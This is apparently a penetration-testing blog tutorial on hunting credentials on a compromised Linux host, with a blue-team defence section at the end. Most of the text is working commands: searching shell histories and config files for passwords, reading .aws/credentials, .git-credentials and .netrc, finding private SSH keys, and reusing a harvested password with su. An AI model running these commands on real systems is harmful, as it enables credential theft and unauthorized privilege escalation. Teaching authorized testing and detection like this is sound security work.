Credential Hunting on Linux: From .bash_history to Config Files

Linux Privesc
Time it takes to read this article 6 minutes.

Introduction / Overview

Disclaimer: This article is for educational purposes and authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction.

Once you land an initial foothold on a Linux host as a low-privileged user, one of the fastest paths to escalation is rarely a kernel exploit — it is a human who typed a password where they shouldn't have. Developers paste DB credentials into shell commands, sysadmins hardcode API keys in config files, and automation scripts store service-account passwords in plaintext. This post is a focused, practical guide to credential hunting: systematically grepping the filesystem, shell histories, and configuration files for secrets you can reuse to move laterally or escalate.

By the end you will have a repeatable methodology and a set of one-liners you can drop into any engagement. This maps to MITRE ATT&CK T1552 (Unsecured Credentials) and T1552.001 (Credentials In Files).

How it works / Background

Linux stores all kinds of state in flat text files, and users routinely leave secrets in three high-value locations:

  1. Shell history~/.bash_history, ~/.zsh_history, ~/.python_history, ~/.mysql_history, ~/.psql_history. Every interactive command (including those with inline passwords) is appended here unless explicitly suppressed.
  2. Configuration files — application configs (*.conf, *.ini, *.yml, *.env), web app secrets (wp-config.php, settings.py, .env), and connection strings often contain cleartext credentials.
  3. Backup, log, and dotfiles.netrc, .git-credentials, .aws/credentials, .docker/config.json, SSH keys, and stray *.bak files.

The crucial enabler is file permissions. A secret in a world-readable file (-rw-r--r--) is game over even for an unprivileged user. The hunt is essentially a permission-aware text search.

Prerequisites / Lab setup

You need a shell on a target Linux box (low-priv is fine) and a known username. To follow along safely, spin up a disposable VM and seed some artifacts:

# Seed a fake history entry with an inline password
echo 'mysql -u root -pSuperSecret123 prod_db' >> ~/.bash_history

# Seed a config file with a cleartext secret
mkdir -p /tmp/app && cat > /tmp/app/config.ini <<'EOF'
[database]
host = 127.0.0.1
username = svc_app
password = Pr0d-DB-P@ss!
EOF

# Seed an env file
printf 'AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n' > /tmp/app/.env
Bash

Useful enumeration tooling: LinPEAS, linux-smart-enumeration (lse.sh), and plain grep. Start manual to understand why something is flagged, then automate.

Attack walkthrough / PoC

1. Hunt the shell histories

History files are the single highest-yield target because passwords get typed inline (mysql -p<pass>, curl -u user:pass, sshpass -p<pass>).

# Current user's bash history
cat ~/.bash_history

# All readable history files on the box
find / -name "*_history" -o -name ".bash_history" 2>/dev/null

# Grep every readable history for likely secrets
grep -riE 'pass|pwd|secret|token|key|-p ' /home/*/.*history /root/.*history 2>/dev/null
Bash

Don't forget language and DB clients: ~/.mysql_history, ~/.psql_history, and ~/.python_history frequently leak connect() strings.

2. grep the filesystem for password

This is the bread-and-butter sweep. Cast a wide net, then narrow.

# Broad, case-insensitive recursive grep across common locations
grep -rEi --color=auto \
  'password|passwd|pwd|secret|api[_-]?key|token|aws_secret' \
  /etc /opt /var/www /home 2>/dev/null

# Limit to assignment-style hits to cut noise (key = value / key: value)
grep -rEn '(pass(word)?|secret|api[_-]?key)\s*[:=]\s*\S+' \
  /etc /var/www 2>/dev/null
Bash

The 2>/dev/null is essential — it discards the flood of "Permission denied" lines so only files you can actually read remain. To narrow to specific file types:

grep -rEi 'password' /var/www --include='*.php' --include='*.env' --include='*.yml' 2>/dev/null
Bash

3. Target known high-value config files

These have predictable formats and almost always contain live credentials:

# Cloud / credential helper files
cat ~/.aws/credentials ~/.git-credentials ~/.netrc 2>/dev/null
cat ~/.docker/config.json 2>/dev/null   # base64 'auth' field -> decode it

# Web app configs
find / \( -name "wp-config.php" -o -name "settings.py" \
  -o -name "*.env" -o -name "config.php" \) 2>/dev/null

# Decode a Docker registry auth blob
grep -o '"auth": *"[^"]*"' ~/.docker/config.json | cut -d'"' -f4 | base64 -d
Bash

.netrc is especially nice: it stores machine / login / password in cleartext for FTP and curl/wget automation.

4. SSH keys and weak permissions

# Find private keys (note the header) anywhere readable
grep -rl "PRIVATE KEY" /home /root /etc /opt 2>/dev/null

# World-readable files that might hold secrets
find / -type f -perm -o+r -name "*.conf" 2>/dev/null
Bash

An unprotected private key in another user's home (often left world-readable by accident) lets you ssh -i key user@localhost and pivot to their identity.

5. Validate and reuse

A credential is only useful if it works. Spray it everywhere — password reuse is rampant:

# Try the harvested password against local accounts via su
echo 'Pr0d-DB-P@ss!' | su - svc_app -c 'id' 2>/dev/null

# Or check sudo rights once you have a working login
sudo -l
Bash

If the recovered secret unlocks sudo, you are likely one GTFOBins entry away from root. See Linux Privilege Escalation via Sudo for follow-up.

Mermaid diagram

Credential Hunting on Linux: From .bash_history to Config Files diagram 1

Diagram: from a foothold, enumerate readable histories, configs, and credential helpers, grep them for secrets, then validate and reuse any working credential to escalate or pivot.

Detection & Defense (Blue Team)

Credential hunting is loud if you know what to watch, and largely preventable.

Prevent secrets at rest.

  • Never store cleartext credentials in config files. Use a secrets manager (HashiCorp Vault, AWS Secrets Manager, systemd credentials, or pass) and inject at runtime.
  • Lock down permissions: secret files should be 0600 and owned by the service account. Audit world-readable secrets:
find / -type f \( -name "*.env" -o -name "*credential*" -o -name "id_rsa" \) \
  -perm -o+r 2>/dev/null
Bash

Kill history leakage.

  • Discourage inline passwords. For MySQL, use mysql_config_editor or a ~/.my.cnf (mode 0600) instead of -p<pass>.
  • Prefix sensitive commands with a space when HISTCONTROL=ignorespace is set, or disable history for sensitive shells.
  • Note: relying on history suppression is a defense-in-depth nicety, not a substitute for not having the secret at all.

Detect the hunt.

  • Monitor for mass reads of dotfiles and recursive grep/find against /etc, /home, and /var/www using auditd:
# Audit access to sensitive credential files
auditctl -w /etc/shadow -p r -k cred_access
auditctl -w /root/.ssh/ -p r -k ssh_key_access
auditctl -w /home -p r -k home_recon
Bash
  • Alert on T1552 behaviors in your EDR/Falco ruleset — e.g., a non-admin process opening many *_history or .aws/credentials files in quick succession. Falco's default Read sensitive file rules cover much of this.
  • Rotate any credential that ever touched a config file or history, and scan repos and images with gitleaks or trufflehog before deployment.

For broader hardening of the post-exploitation surface, see Linux Persistence Techniques.

Conclusion

Credential hunting rewards methodical, permission-aware searching far more than clever exploits. Three commands — cat ~/.bash_history, a recursive grep -rEi 'password', and a sweep of known credential files — uncover live secrets on a surprising fraction of real-world hosts. For defenders, the takeaways are equally simple: keep secrets out of flat files, tighten permissions, and instrument auditd/Falco to catch the recon. The most reliable privilege escalation is the one a developer accidentally configured for you, so close that door first.

References

Comments

Copied title and URL